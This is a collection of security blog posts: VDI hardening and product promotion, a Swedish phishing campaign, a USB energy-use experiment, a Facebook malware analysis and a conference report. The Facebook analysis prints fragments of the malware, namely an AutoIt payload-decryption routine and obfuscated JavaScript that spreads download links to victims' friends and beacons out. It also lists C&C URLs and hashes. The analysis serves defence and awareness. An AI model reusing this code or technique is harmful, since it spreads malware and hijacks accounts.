It’s also worth bearing in mind that some more advanced malware specimens can be remarkably adept at evading detection. Specialized security solutions working only at file system level, without the capability to watch over processes in memory, can give the malware plenty of time to do its job (e.g. syphoning away the data it has found) before the VM is deleted.

Obviously, if the infection is spotted after any malicious files may have been dropped into the file system, mercilessly killing off the affected VM is no guarantee that you have stopped the infection in its tracks.

The Boundless Sea of Threats

We have said that virtual desktops are susceptible to almost the same spectrum of threats as are physical machines. But what about specialized attacks, targeting the specific vulnerabilities of virtualized environments?

Well, there is no shortage of Proof-of-Concept demonstrations, as shown during security conferences and described on the internet. Potentially, such malware could do considerable harm, but… there are as yet no officially registered cases of such attacks being spotted in the wild. Still, there’s no reason to be over-optimistic. The most important driver to innovation in any area – including the creation of malware – is the existence of an obvious demand. Once the penetration rate of virtualized assets reaches a critical point, the in-lab theoretical threat could become a reality in no time. And here we’re talking about the more common threats; if there’s a requirement to attack a particular VDI in order to get to a particularly valuable piece of data (and the money to sponsor such a complex attack)… well, any kind of technology can be put to use, including fully customized designs that are completely unknown to the general public.

Even without the attack scenarios we anticipate in the immediate future, there is enough malware right now to provide VDI owners with the same problems that physical IT network owners already experience.

VDI Defense: Strategy and Tactics

Protecting VDIs is mandatory, and no mythical inherent resilience offers a legitimate defense against the existing threat landscape. So, how do we approach this task appropriately – and what stratagems can be used to best preserve all the beneficial effects of VDI deployment?

Configure Safely!

As we all know, the most dangerous vulnerability in any system is people. And we’re not only talking about careless office staff, mindlessly clicking on links and opening files received from strangers. This also applies to those equally careless IT specialists who configure their systems in ways that leave gaps for intruders to abuse.

So, what screws can be tightened to make the conditions as uncomfortable as possible for any attacker? Here are several examples which, theoretically, are applicable to both physical and virtualized networks.

  • Forbid any type of local authorization using domain policies. This can be especially useful for ‘disposable’ VMs, which are created and deleted on demand: the task of fixing a faulty machine, which could require a local login procedure, is not a viable option.
  • Whenever the business process allows this, reduce the user’s capability to run unsolicited programs to a minimum, perhaps going as far as deploying a Default Deny scenario. Given the known specifics of particular industries where VDI technology is most popular (like healthcare or insurance), the implementation of such a scenario can be undertaken without much hassle.
  • Rule out the use of Java and other command interpreters, including Powershell and even CMD.EXE, if business processes don’t explicitly rely on them. Java remains one of the most exploited components of any system, and script chains are gaining in popularity as a ‘legit’ way of circumventing detection and even application control mechanisms.
  • If the network configuration permits, use Private VLANs to isolate VMs from one another. In the majority of business scenarios, there’s no need for VMs to see one another on the network: they only need access to particular servers and network services – and to the internet if required. Such a configuration can considerably reduce the possibility of infection spreading. Though it’s worth bearing in mind that, in some cases, this would require the physical switchers to support PVLANs as well. But even then, as part of a Software-Defined Networks paradigm, there are virtual switches which prevent the flooding of physical switches without PVLAN support residing in the same IT network.

Private VLANs provide a simple way of selectively isolating VMs without exhausting IP subnets.
Source: VMware

Multi-layered protection

Taking into account the rapidly changing threat landscape, VDI protection should not be in any way inferior to defenses used for regular machines, especially if work undertaken includes accessing the big internet.

This means that, besides traditional signature-based protection or even advanced file-level protection based on heuristic algorithms, any solution should be armed with behavioral detection technologies and some means of exploit mitigation. And this can only be considered a bare minimum; ideally, the solution should possess additional proactive security layers such as application control, web control and device control.

The Conventional Approach

This can readily be achieved by installing regular security solutions using full-weight agents, initially designed for the protection of physical workstations. However, as discussed earlier, even if adjustments have been made to cope with specific aspects of virtual environments, the issue of excessive resource consumption requires a fundamentally different approach.

The Agentless Approach

One such approach leverages VMware’s vShield (and now NSX) technology, and so can only be adopted for VMware based environments. The ‘Agentless’ approach conducts all security activity in a single Security Virtual Machine (or SVM) on the virtual host, using VMware’s own technologies to communicate with and protect the individual VMs.

With signature updates and scanning engines held on just one SVM per host, instead of on every VM that the host is servicing, the resource savings compared with full-agent protection, in terms of both space and processing power, are considerable. And with just one SVM being updated, instead of all those individual machines, traffic is drastically reduced and ‘AV storms’, where lots of machines all try to update or perform malware scanning simultaneously, are eliminated.

For IT environments with no direct external exposure, particularly where foreign agents are not permitted onto clients’ machines – in a data centers for example – the agentless approach is an excellent solution. But, for VDI environments, such as VMware’s own Horizon, where individual machines are so much more exposed, this approach is definitely not sufficient in terms of security. This is primarily because an agentless approach does not allow the security solution any direct access to or control of processes in the individual machine’s memory.

The Lightweight Agent Approach

But there are specialized solutions providing high levels of security AND also operating as an organic element of the virtualized infrastructure, without duplication and resource wastage. The answer lies in solutions using lightweight agents.

Like agentless solutions, this approach also employs a dedicated ‘Security Virtual Machine’ (SVM), which does away with duplicated copies of scanning engines and databases residing on every single protected VM. Instead of relying on the vShield or NSX technology layer, however, this approach employs lightweight program agents, so that the solution can not only reach into the individual VMs’ systems on behalf of the SVM, but can also control processes in the machines’ memory, allowing for behavioral detection by other advanced technologies. And, of course, this approach is not tied to VMware technology, but can be applied to other platforms, including Citrix, Microsoft and KVM.

Solutions built using this principle also allow for the provision of additional security layers.

For example, in our Kaspersky Security for Virtualization | Light Agent, the following technologies are implemented:

  • Application Control (powered by cloud-based Dynamic Whitelisting)
  • Web Control (with cloud-supported Web Resource Categories)
  • Device Control
  • Network Attack Blocker (a network IDS/IPS protecting from network-based attacks and exploits)
  • HIPS (Host-Based Intrusion Prevention System)
  • Firewall (working on multiple OSI levels including Application)
  • Anti-phishing (backed by cloud-based reputational service and autonomous heuristics)

(More details about Kaspersky Security for Virtualization | Light Agent can be found here.)

All these protective layers provide much greater levels of security in defense of endpoints which, virtualized or not, remain the primary targets for attackers. Of course, every further security layer requires additional resources, but, with the majority of resource-heavy processes being relocated to the SVM, the deployed lightweight agents can easily remain quite slim.

Such architectures also ensure higher fault tolerance. Should an SVM become unavailable for a period of time, additional security layers won’t leave the machines completely unprotected. In addition, the system event data obtained can be stored locally for later analysis after re-establishing connection with the SVM – or being temporarily rerouted to another SVM on the same network.

Such solutions are initially designed to be fully aware of all virtualization’s unique requirements – and the specifics of VDI in particular, including mechanisms like machine migration or Linked Clones. Properly designed lightweight agents can also be easily embedded into VM templates, allowing instant protection immediately after machine activation.

All these mechanisms and their outcomes and benefits have been tested, in the case of Kaspersky Security for Virtualization | Light Agent, with popular VDI systems including VMware Horizon and Citrix XenDesktop in ‘real life’ conditions.

Heterogeneous environments

Since the connection between the agents and the SVM doesn’t require any platform-dependent intermediate layers, it’s possible not only to protect different virtualization platforms with ease, but also to cover heterogeneous environments with a single solution. This removes the necessity of having different management consoles for each platform solution, and considerably simplifies the management process for IT security specialists, saving time and reducing the probability of human error.

Conclusion

The global transition into virtualized space is still ongoing, and the number of VDI scenarios is growing every day. Even complex, resource-hungry tasks like graphic processing or software development, which were only recently being described as ‘future tech’, are a current reality. Unfortunately, it’s often impossible to formalize complex business processes using strict policies – so there are always ‘soft spots’ in any given system. These soft spots in virtual infrastructure need to be hardened using specialized security solutions combining both traditional and innovative, proactive protection methods. This combination is most commonly found in solutions using lightweight agents – which, given the existing threat model, become a natural choice for VDI protection.

An increase of sophisticated phishing attacks in Sweden

Malware Alerts - Wed, 07/06/2016 - 12:13

Whilst sitting and working in the South African office I receive an email from my Swedish ISP. I quickly look at it and there is something that doesn’t add up. The email states that I need to pay my invoice, but I never receive electronic invoices from this company.

Like everyone else I receive a lot of spam and phishing emails, but this one is different from any other phishing email I have ever seen before. To be honest, it’s probably the most sophisticated phishing campaign that I’ve ever encountered. It’s not the technical setup that makes it sophisticated it is a very simple factor that has been added to the email that just makes the email look very authentic.

The phishing campaign has the usual mistakes, the sender of the email is not related to the company, and the domains used in the links don’t point to a domain that is registered by the ISP.

There has been a huge increase in these kind of phishing emails lately but it’s the first time I have seen these emails. What makes this campaign so interesting is that they have not just addressed the email to me, but also included my child’s name. This is something I have never seen before. How they got access to my child´s name is not sure, one speculation is that they compromised a Swedish governmental agency, but this has to be left unconfirmed.

What happens when you click on the link is it will redirect you to a website. This website will enumerate from your country of residence to make sure that you are actually a Swedish victim. Additional to this, it will enumerate your browser by analysing the User-Agent string.

Why they check the Operating System is because the next step in the campaign is to trick you into downloading a Windows executable. We are currently investigating what the malware is doing, but from our previous research it seems that it’s some kind of Cryptolocker.

The download page looks very authentic, it even uses the domain teliafakturor.net (translated to teliainvoices.net), with a little captcha. When you click on the download button you will be offered a ZIP-file.

This archive contains an obfuscated JavaScript which will then download the actual Windows executable. Even though the JavaScript is obfuscated the download URL is not, so it’s very easy for any researcher to get hold of the malware, and block it. Below is a script of the obfuscated JavaScript.

When analysing the landing pages and the source code i found something that was quite interesting. The language of the HTML editor that was used is Russian, and some of the domains are registered to an email address, which has registered other domains in Russia. This might be an indicator that the persons behind this scam has Russian origin.

Surges in mobile energy consumption during USB charging and data exchange

Malware Alerts - Wed, 07/06/2016 - 05:53

Recently, our colleagues questioned the security of charging mobile devices via USB ports. They discovered that if there were a computer behind the port, there would be a data exchange, even when the mobile is blocked. We became curious – is it possible to measure the energy consumption of the “host + mobile” system during handshakes? Also, is it possible to estimate the impact on energy consumption when we separate the charging process from data exchange using the Pure.Charger device?

As it turned out, it wasn’t too hard to measure energy consumption – all it takes is a commercially available multimeter, preferably, with serial connection to a computer, which would allow you to analyze logs in a convenient manner. It was possible to provide a rough estimate of how much energy is dissipated during handshakes and to estimate to a known degree of certainty the amount of energy required to send one bit of data over the USB connection.

A little bit of theory

Dissipation of electrical energy into heat is due to two key reasons, the first being the imperfection of even the most modern computers and the second being the irreversibility of classic (non-quantum) computing.

The fundamental limit on energy consumption can be estimated using Landauer’s principle, first introduced in 1961: ∂Q = dS · T = kTln(2), which is equal to roughly 3×10-21 Joules (J) at room temperature. In reality, computation and, especially, data transfer is much more energy-hungry. We learned from a 2014 review by Coroama and Hilty, published in Environmental Impact Assessment Review, that it takes approximately 4×10-7 Joules per bit to transfer data over the Internet. That is 14 orders of magnitude above the fundamental limit.

Unfortunately, we haven’t been able to find similarly thorough and high-quality reports on energy consumption during USB data transfer. So, we decided to perform our own experiment.

Experiment

We have used various combinations of host systems and mobiles.

Notebooks Operating System Apple MacBook Pro OS X 10.10.5 Dell Latitude E6320 Windows 7 64-bit Enterprise Edition

To which we’ve been connecting these mobile phones:

Mobile device Platform Samsung GT-i9300 (Galaxy S3) Android 4.4 LG Nexus 6X Android 6.0.1 Apple iPhone 4s iOS 9.2.1

The choice of mobiles was dictated by the fact that Android 6 mobiles behave themselves differently than smartphones on earlier versions of Android. They have a built-in protection from USB data transfer, enabling “charge-only” mode by default upon connection to a USB port. However, since we already knew from the previous research that a handshake, nonetheless, occurs in this setting, too, we wanted to check the energy consumption of phones during handshakes. We also wanted to discover the difference in behavior of mobiles based on different versions of Android and iOS.

Diagram of the experiment set-up in the MacBook Pro experiment

Experimental set-up in the Dell Latitude E6320 experiment

Our simple experiment, in essence, was to measure the current flowing through the wire that connects the system, which comprises a host, a connected mobile, and a power outlet. We designed this experiment in such a way, on one hand, to ensure the reproducibility of its results and, on the other hand, to avoid damaging the computer’s power adapter. Thus, we also tested the stability of the frequency and voltage of the alternating current and saw no dependence of these two parameters from the data exchange.

Since the multimeter provided us with RMS (root mean square) values of the alternating current within finite time intervals, the amount of consumed energy can be approximated by a sum of products of current IRMS average value of voltage URMS and time interval duration δt. We have used the RMS values of current in all our calculations instead of amplitude (I0 = IRMS *√2), because, by definition, the RMS value is equivalent to a value of DC current that dissipates the same amount of heat on the same resistive load.

Results Handshakes

In order to exclude the charging current’s influence on multimeter readings, the mobiles and laptops which we used as host computers, were fully charged. Furthermore, we used a Pure.Charger device, which allows us to turn the USB data lines on and off as desired. The sequence was the following: first we connected the Pure.Charger to the host computer’s USB port and then we introduced the mobile device to Pure.Charger’s output USB port. By doing so, we effectively separated the moment of connection to the USB port and the moment when data lines were enabled.

In the graph below you can see the consumption current dynamics (in mA) when a Nexus 5X was connected to a MacBook Pro host:

Here we see two distinct peaks of current, first when the phone is connected to a data line in “charge-only” mode, and second – when the MTP mode is enabled.

Current consumption dynamics for the connection of an unblocked Samsung S3 looks like this:

Here we see a single large consumption peak – because the phone is not blocked, it starts an MTP session right after it’s connected to the port.

The graph below we obtained with an iPhone 4S and a Latitude E6320 with the same settings:

The main consumption peak, due to the handshake between the Latitude E6320 and iPhone 4S, is preceded by a smaller spike, which corresponds to a handshake between the Latitude E6320 and Pure.Charger. As the amount of energy consumed during the handshake is proportional to the area below the curve, it can be seen that the amount of energy consumed due to the handshake of the host with Pure.Charger is significantly lower that the amount consumed due to the handshake with the iPhone 4S.

The experiment with the Latitude E6320 and iPhone 4S is the only one where Pure.Charger’s handshake is clearly seen – it is not distinctly observed in other experiments. The Pure.Charger’s consumption current, as obtained in the series of the experiments, does not exceed the idle current standard deviation for both the MacBook and the Latitude E6320.

The value of current fluctuations in the Latitude E6320 experiment (standard deviation was equal to 7-8 mA) was greater than current fluctuations in the MacBook experiment (standard deviation was equal to 4 mA). There are two reasons for this. Firstly, the Latitude E6320 was built using HDD and the MacBook Pro that we used was built using SSD. Secondly, in the corresponding experiment the Latitude E6320 was used both as a host and as a logging system.

Data transfer

In order to learn more about how much energy is required to send a unit of data over a USB connection, we had the hosts and the mobiles transfer files of a specified size to one another.

Fixed amount of data

The dynamics of the consumption current, in mA, for the Nexus 5X that was tasked with transferring 391 MB of data to the MacBook host, looked like this:

Here we observe the same two consumption peaks specific to an Android 6-based device, and an increase in the average consumption current during data transfer.

This is how the consumption current depends on time in an experiment where the MacBook Pro was reading 188 MB of data from Samsung S3:

Here we see a sharp single peak corresponding to a handshake with Samsung S3, a distinct start and finish of file transfer with increased consumption current, and a small spike in the current when the phone is disconnected, which is due to the system closing processes and windows which were active when the phone was connected.

We have carried out multiple similar experiments. As expected, the time interval elapsed for file transfer, was dependant on the file size – the larger the file, the longer it takes to send it through the USB channel.

Energy consumption dependence on the direction of data transfer

Does energy consumption depend on the direction of data transfer? We set up an experiment during which a group of files of the same size was sent to the host from the mobile, and vice versa, and measured the system’s consumption current. Because it’s impossible to send the files directly to an iOS-based mobile, this experiment was performed only with Android-based systems.

The left-hand graph shows the consumption current dynamics (in mA) when the Latitude E6320 is connected to the Samsung S3 and reads 808 MB of data. The graph on the right shows the current consumption when the Latitude E6320 sends the same amount of information to the Samsung S3. Despite the noise specific to the Latitude E6320 series of experiments, the moments of file transfer start and finish are seen clearly.
We carried out six similar experiments and came to the following conclusions:

  1. The average value of consumption current while sending data from the host to the mobile is lower, and this decrease is greater than the standard error.
  2. Meanwhile, the time elapsed for sending the file from a host to a mobile is longer than the time elapsed for receiving the same-sized file by a host from a mobile. This time interval increase is roughly the same as the decrease in average consumption current.

Taking into account that the voltage was the same, the energy consumption can be estimated as a product of voltage times average current and times the length of the time interval. The estimated values of energy consumption for data transfer from mobile to host and from host to mobile were effectively in the same confidence interval.

Energy consumption per unit of information

In order to approximate the dependence of consumed energy on the size of data we made two assumptions:

  1. The amount of energy required to transfer a unit of data depends only on the type of host and mobile.
  2. The amount of energy required to transfer a known amount of data is directly proportional to the size of data sent. This assumptions is probably not correct, because communication systems, and USB in particular, are optimized for sending data in bulk, thus the smaller the amount, the less energy is required to transfer it. However, there are accompanying computational processes that don’t go away. Therefore, it would be more accurate to approximate this dependence with a power function with fractional index. But the difference between linear approximation and such a power function would be significant for smaller amounts of data.

Under these assumptions, we have estimated that the most energy-efficient pair is the MacBook Pro connected with the Samsung S3 – they dissipate only (3.3±0.2)x10-8 Joules per bit, and the most power-hungry combination was the Latitude E6320 with the iPhone 4S, which dissipated (9.8±0.6)x10-8 Joules per bit.

Conclusions

The amount of energy required to transfer a unit of information through the USB channel is within the range of 3.1×10-8 to 1.4×10-7 Joules per bit. Remember the article we cited in the beginning? Their assessment (for transfer of Internet data) was 4×10-7 Joules per bit, which means that our assessment for USB connections is within the same order of magnitude.

Still, there are two more things to consider for further research. First, data transfer during handshakes is different from file transfer as it involves more computational processes and thus leads to greater consumption of system energy. Second, the dependence of energy consumption on the size of transferred data is presumably not quite linear, and for better accuracy should be approximated with a convex function. A better approximation requires more data points and more pairs of hosts and mobiles to be investigated.

Economy of scale

To sum it all up, I’d like to estimate the ratio of energy consumption caused by handshakes to the energy that is consumed while charging a mobile device. A typical charge on a 2 A current would last 20 to 40 minutes, which means that a mobile receives anywhere from 12 to 24 kJ of energy when charging. Therefore, blocking the handshakes that waste a few to dozens of Joules, allows for saving tenths to hundredths of a percent of this energy. A single user would not even notice this effect, but if all the folks living in New York used a Pure.Charger, they would save a whopping 33 Kilowatt-hours of electricity every day! To give you an idea of how much this is – Tesla electric cars can drive over 100 miles on this charge. This may not look like a big deal for a mega polis, but it’s a noticeable effect, isn’t it?

We will continue to research the physical characteristics of mobile devices during data exchange, both from a security perspective and in search of more data points. We welcome readers to reproduce this experiment themselves and report their findings!

This material uses experimental results submitted for publication in IEEE Transactions on Mobile Computing. The preprint is available here.

Mobile Apps

SANS Tip of the Day - Wed, 07/06/2016 - 01:00
Only install mobile apps from trusted places, and always double-check the privacy settings to ensure you are not giving away too much information.

Facebook malware: tag me if you can

Malware Alerts - Thu, 06/30/2016 - 08:19

On the morning of 26th June, news of a phishing campaign hit the Israeli media. Thousands of Facebook users complained that they had been infected by a virus through their accounts after they received a message from a Facebook friend claiming they had mentioned them in a comment.

Kaspersky Lab decided to investigate. We quickly discovered that the message had in fact been initiated by attackers and unleashed a two-stage attack on recipients. We also found that the attack was not confined to Israel, but was hitting targets worldwide.

The first stage of the attack started when the user clicked on the “mention”. A malicious file seized control of their browsers, terminating their legitimate browser session and replacing it with a malicious one that included a tab to the legitimate Facebook login page. This was designed to lure the victim back into the social network site.

Upon logging back into Facebook the victim’s session was hijacked in the background and a new file was downloaded. This represented the second stage of the attack, as embedded in this file was an account-takeover script that included a privacy-settings changer, account-data extractor and other tools that could be used for further malicious activity, such as spam, identity theft and generating fraudulent ‘likes’ and ‘shares’. Further, the malware infection loop began again as malicious notifications were sent to all the victim’s Facebook friends.

The Kaspersky Security Network (KSN) recorded almost ten thousand infection attempts around the globe in the space of just 48 hours.

Malicious JavaScript file spike hits thousands of victims

Facebook has now mitigated this threat and is blocking techniques used to spread malware from infected computers. It says that it has not observed any further infection attempts. Google has also removed at least one of the culprit extensions from the Chrome Web Store.

Top targets

The most affected countries were Brazil, Poland, Peru, Colombia, Mexico, Ecuador, Greece, Portugal, Tunisia, Venezuela, Germany and, finally, Israel.

On a pie chart we can more easily see how the infection spread around the globe:

It’s worth mentioning that people using Windows-based computers to access Facebook were at the greatest risk. Those using Windows OS phones could have been at risk too, although this is less likely. Users of Android and iOS mobile devices were completely immune since the malware uses libraries which are not compatible with these mobile operating systems.

Malware downloaded from an Android device with invalid format error

The infection process

The infection seemed to begin when victims received a notification of a Facebook “mention” that appeared to come from a friend:

This provided the attackers with a rabbit hole through which they could hijack the user’s Facebook session and permissions and send out malicious notifications to the victim’s Facebook friends. During our investigation we found the script that was responsible for the delivery of the malicious notification. This script was triggered when the user of a compromised machine attempted to login to Facebook via a malicious Chrome shortcut.

Initial infection

Clicking on the notification redirects the user to an empty post containing a link to Google Docs. This link automatically downloads a JavaScript file called comment_27734045.jse and is a Trojan downloader.

File: comment_27734045.jse Language: JavaScript Size: 5.31 KB MD5: 9D3DF2A89FDB7DA40CEB4DE02D605CFA SHA1: 6D658331FE6D7F684FEE384A29CE95F561A5C2EA

The malicious file above was involved in the specific attack discussed in this blogpost. A Trojan downloader generator was discovered residing in the following domains:

#1 hxxp://lllllllllll[.]top/end.php?ref= #2 hxxp://corneliuspettus[.]com/fil.php

A Facebook post that delivered the JSE malware downloader

hxxps://doc[.]google[.]com/uc?authuser=0&id=0B0l2JbaudbnYOXlLTFl3TEFwdzg&export=download&o=vjjj0vx6r53qxgkla0zqohizrgzzemcipadgln5rxf&fb_comment_id=fbc_1104594152941522_1104594202941517_1104594202941517

Unbeknown to the victim, the JavaScript file executes a batch file which calls a pre-downloaded utility called “AutoIt.exe”, with one argument – ekl.au3. This file is an AutoIT script and the executable is simply a compiler that runs it.

The malicious code starts after a #NoTrayIcon; initializing variables and immediately starting to send arguments to the decryption routine located at the end of the script. The majority of the payloads are encrypted. However the decryption key is hardcoded and the standard function can be copied outside of the code and automated for safe decryption.

Func YK69395P92380($KS50476D12399,$JF22904R13060) $KS50476D12399 = BinaryToString($KS50476D12399) $YK28157F62492 = _Crypt_DecryptData($KS50476D12399, $JF22904R13060, $CALG_AES_256) $YK28157F62492 = BinaryToString($YK28157F62492) Return $YK28157F62492 EndFunc

Or in a more simplified way:

Func Decrypt($encrypted_input,$key) $encrypted_input = BinaryToString($encrypted_input) $decrypt_output = _Crypt_DecryptData($payload, $key, $CALG_AES_256) $decrypted_output = BinaryToString($decrypted_output) Return $decrypted_output EndFunc

The function takes two arguments. One is a hexadecimal string which represents the encrypted payload and the other is a the key. The encryption algorithm used in _Crypt_DecryptData() is CALG_AES_256, 256 bit AES, which is hardcoded as well.

The code is generally pretty straightforward. Even without decrypting the encrypted content one can spot the stored variables being used: ProcessExists, ProcessClosed, DirCreate, AppDataDir, RegRead, FileDelete, DesktopDir and so on. In addition, the author left comments for the reader which can be very helpful.

The full code snippet can be found here: http://pastebin.com/raw/k8m0QP1p

Background check

The Trojan downloader is not new. It was spotted more than a year ago bearing Turkish variables and comments in its files. The alleged actor in this instance, known also as BePush/Killim, used innovative techniques to spread malware through social networks. It is known to favour multi-layered obfuscation, mainly in JavaScript, and utilize multi-layered URL shorteners, third-party hosting providers and multi-stage payloads.

The group obfuscate their infrastructure using Cloudflare and register domains with WHOIS guard privacy protection. They also monitor each infection using third party analytics scripts.

We have found that this particular threat actor seems to prefer using the following providers: Amazon AWS, Google, WhosAmungUs, TinyURL, Bitly, Cloudflare and more, suggesting that it favours freeware over paid services.

What’s on the menu?

Once executed, the malicious script opens a socket to one of its command and control (C&C) servers, calling up a dozen files and downloading them one after the other from the C&C server, all with the same image extension (.jpg). The script then replaces this extension with the real ones. We’ve documented the following file extensions:

exe – utility to load malicious .au3 scripts.
bat – batch file that executes the binary, appending .au3 scripts as arguments.
au3 – malware code.
zip – empty zip.
json – manifest for Chrome extension configurations.
dat – malware version.
js – additional scripts supporting the Chrome extension and scripts to collect victims’ statistics.

Looking at the JSE file content, the first code segment is an array of strings. These strings are simply appended to the code and are in this form for the sake of code obfuscation.

Strings stored in the JSE file containing the C&C server and malicious files

At the top we see the strings responsible for opening the connection with the remote C&C server, followed by those for reading the files and changing their extension. The %APPDATA%, ExpandEnvironmentStrings and Mozila represent the actual location where the malicious files will be stored.

Looking at the destination folder of the malicious files we see a weird-looking variable name: Mozklasor. This translates to “Purple Folder” in Turkish, and points to Turkish-speaking threat actors, as mentioned above.

Creating %AppData%\Mozila directory to transfer malicious files

After a successful download, we can browse to the Mozila folder in the AppData and examine the changes that have been made in it. In addition to the files residing in our fake Mozila directory, the JavaScript also executes the run.bat file which loads the executable file with one of its scripts as argument.

We notice that a set of files has been added. In addition, a script has been executed in the background, closing our browsers, adding Chrome shortcuts to our desktop and relaunching the browsers in infected mode with a malicious extension embedded in the opened instance, alongside some registry manipulations we were not aware of. This behaviour occurred after the JavaScript file had executed the batch file run.bat, which calls the autoit.exe utility and loads it with ekl.au3.

Browsers closed unexpectedly and new apps were added on the desktop

The malware terminated the Chrome process we were browsing in. In the same situation the most natural behaviour for a victim would be to look for the nearest browser application and execute it. Once the browser shortcut is executed, we notice two suspicious items.

Victim is lured into opening a malicious Chrome shortcut

The browser opens with an additional tab containing the Facebook login page. The threat actor believed that users who (like us) had been browsing through Facebook before encountering the malware, would simply expect the browser to restore the website. An important note for the sharp-eyed is that the restore window is open. This means that the Facebook page has not yet been restored by the user.

The second (tiny) item is an extension that had been silently added to the Chrome extensions list. It appears as an [a-z] one character with grey background in the top right-hand side.

Looking in the Mozila folder again we can identify a Manifest.json file which points to the fact that the infection process involves an extension.

A malicious extension is being added to Chrome

Browser extension permissions in detail

Alongside the permissions that the extension receives, it loads an external script (bg.js). This script is responsible for protecting it from being deleted. It also contains a listener to outgoing DNS-resolving queries sent via the URL bar, and blocks a large number of black-listed web domains.

Black-listed domains which are blocked from access

If the user attempts to access one of these websites, the browser will return the following error:

Black-listed domains blocked

When the victim eventually decides to access their account on Facebook, a remote script will be loaded from the C&C and executed on the client-side. It is a rather large JavaScript file (~80KB) which is responsible for taking over the account and spreading the malware to other Facebook users.

Following a successful login attempt, the JavaScript file data.js will load and redirect the user to a page that suggests in Spanish that “Before logging back into your account it is recommended to clear your cookies. It can be done via the Settings menu in Google Chrome, watch this tutorial if don’t know how.” The attackers request this in order to get new user-session identifiers. In the malicious code, the string c_user is mentioned. This cookie, among others, is a session cookie and can potentially offer significant value to attackers.

After logging in, it can be seen that the attack was executed and that the user’s entire Facebook list was notified by the victim about a new URL. Upon clicking on this URL, the user’s friends will also become malware hosts and the infection process will loop again, through their friends.

Lateral Movement

Once the Chrome browser has been opened with the malicious extension, the Facebook page also opens in a new tab, luring a user into a connection. Once connected, a script starts to run in the background. This script iterates through three domains to capture the login attempt and send a malicious script that will regenerate the initial infection through Facebook.

Upon the Facebook login attempt the malware captures the traffic

Once the malware recognizes the Facebook login attempt, it releases a malicious data.js JavaScript file which launches the attack, inviting other Facebook members with a “mention” and a malicious link. In addition, the extension acts as a Man-In-The-Middle and can capture the entire traffic between the victim and the servers he request data from. This allows the actor to steal data and redirect it to his command and control servers or wrap the data in a log file and send it over a different channel.

The data in the JavaScript payload can be decrypted using a web proxy such as Fiddler, allowing for the inspection of the embedded URL, with a ready-to-download Trojan script.

Inspecting the code, a readable string looks very familiar. It is the initial infection link from the beginning of the article. In addition to the infection routine, an account-takeover script has also been also embedded in the same file with a privacy-settings changer, account data extractor and other tools.

lobalFunction[Y1h.J9Q](fbData[I], function(j, u) { var p = "post", L = "Comm", z = "mChat"; … Facebook[z](j, gF[Y1h.G3Q](50, 52), j); Facebook[L]("https://doc.google.com/uc?authuser=0&id=" + fbData[R] + "&export=download&o=" + gF[Y1h.u1Q](42)[Y1h.d99]()); Facebook[p](u, function(a) { Facebook[L]("http://www.facebook.com/" + a); }); }); fbData[b] = atob(fbData[S]); if (fbData[b][Y1h.w1Q](chrome[Y1h.h4X][Y1h.f59]) > -1) { var k = function(a) { fb[Y1h.N7Q] = a[Y1h.h4X][Y1h.f59]; }; k(chrome); sfkklglr(); new Image()["src"] = "//whos.amung.us/swidget/wixerr42"; } } catch (a) { nuid = globalFunction[Y1h.G3Q](100, 999); =console[Y1h.p89]("error " + a); new Image()["src"] = "//whos.amung.us/swidget/wixerr35"; …

To sum it up, the delivery of the malware was found to be very efficient and made its way through thousands of users in only 48 hours. The fast reaction from consumers and the media proved to be the core power driving awareness of this campaign. The social media network and service providers were also fast in blocking the attack.

Q&A:

Am I infected?

The easiest way to check if you are infected is to open your Chrome browser and look for the extension named thnudoaitawxjvuGB. For a more thorough check, click Start > Run > copy the following command: %AppData%\Mozila if the folder and files such as “autoit.exe” and “ekl.au3” are in it, the computer is infected.

I was infected, what can I do?

Logout from your Facebook account, close the browser and disconnect the network cable from your computer. It is recommended that you ask an expert to check the computer and clean out any remaining malware. In addition, install an updated anti-virus program.

Kaspersky Lab products detect and block the threat, preventing it from infecting the machine.

A friend mentioned me in a post. Should I click on it?

Yes, keep using your social media as you did in the past. Just be aware that files which you do not recognize should not be installed on your computer or mobile phone.

I opened the file through my mobile phone, am I infected?

If you don’t have a Windows phone you cannot be infected through your smartphone. This malware is compatible only with Windows environments.

How can I prevent myself from becoming a victim?

The more we use the Internet, the greater the risk of becoming a target. However, service providers such as cloud storage, social networks and security products work day and night to stay one step ahead of the threats and keep their users safe. If possible, exercise caution when going online and try not to let others lure you into content, however tempting, if you have any concerns about it.

IOCs: comment_27734045.jse 9D3DF2A89FDB7DA40CEB4DE02D605CFA Trojan-Downloader.Agent.JS.lee Autoit.exe Legitimate software — Ff.zip Empty zip file — Sabit.au3
Up.au3
Force.au3 88C2B5DC9B7862590B859FC2FCDEAF87 Trojan.Win32.Autoit.fdi Manifest.json 3C874BA389652FF33E535E5B3373FFDC Trojan.JS.Extension.g Bg.js B50005F142A547CF8CD579EFAB0139DC Trojan.JS.Agent.diw Ekl.au3 25C440B66B6C33F4F6A84A992DBB956B Trojan.Win32.Autoit.fdj Run.bat Autoit.exe loader — Ping.js Used for whos.amungs.us analytics — Ping2.js Used for whos.amungs.us analytics — ver.dat Contains version: 1.5 — data.js 1a48f277b8e99d5a9b6526e0b51edad4 Trojan.JS.Agent.diw Malicious URLs:

hxxp://userexperiencestatics[.]net/ext/autoit.jpg
hxxp://userexperiencestatics[.]net/ext/ff.jpg
hxxp://userexperiencestatics[.]net/ext/sabit.jpg
hxxp://userexperiencestatics[.]net/ext/ekl.jpg
hxxp://userexperiencestatics[.]net/ext/bg.jpg
hxxp://userexperiencestatics[.]net/ext/run.jpg
hxxp://userexperiencestatics[.]net/ext/up.jpg
hxxp://userexperiencestatics[.]net/ext/force.jpg
hxxp://userexperiencestatics[.]net/ext/ff.jpg
hxxp://corneliuspettus [.]com/fil.php
hxxp://lllllllllll[.]top/end.php?ref
hxxp://corneliuspettus [.]com/data.js
hxxp://appcdn[.]co/data.js
hxxp://friendsmu[.]com/data.js

Domains:

Friendsmu[.]com
Appcdn[.]co
Userexperiencestatics[.]net
Corneliuspettus[.]com
lllllllllll[.]top

YSTS X: The highlights of the COOLEST security conference in Brazil

Malware Alerts - Thu, 06/30/2016 - 07:22

One day after BSides LatAm, it was the turn of another security conference in Brazil: You Shot The Sheriff, now in its tenth edition. Happening on one of the coolest days in Sao Paulo, the event took place at Villa Bisutti, where the whole event was very well organised.

The welcome coffee was a good opportunity to meet some friends and also make new ones, as the majority of the security professionals from Brazil and also other countries were attending the event.

Luiz, Nelson and Willian opened the event by talking about the difference between the first edition to the tenth, showing that it has become much more mature and professional but is still a challenge to make it happen. They also talked of their work to keep the event the same size, as they believe that increasing the number of attendees could decrease of the quality of the event, something they work hard to improve with each edition.

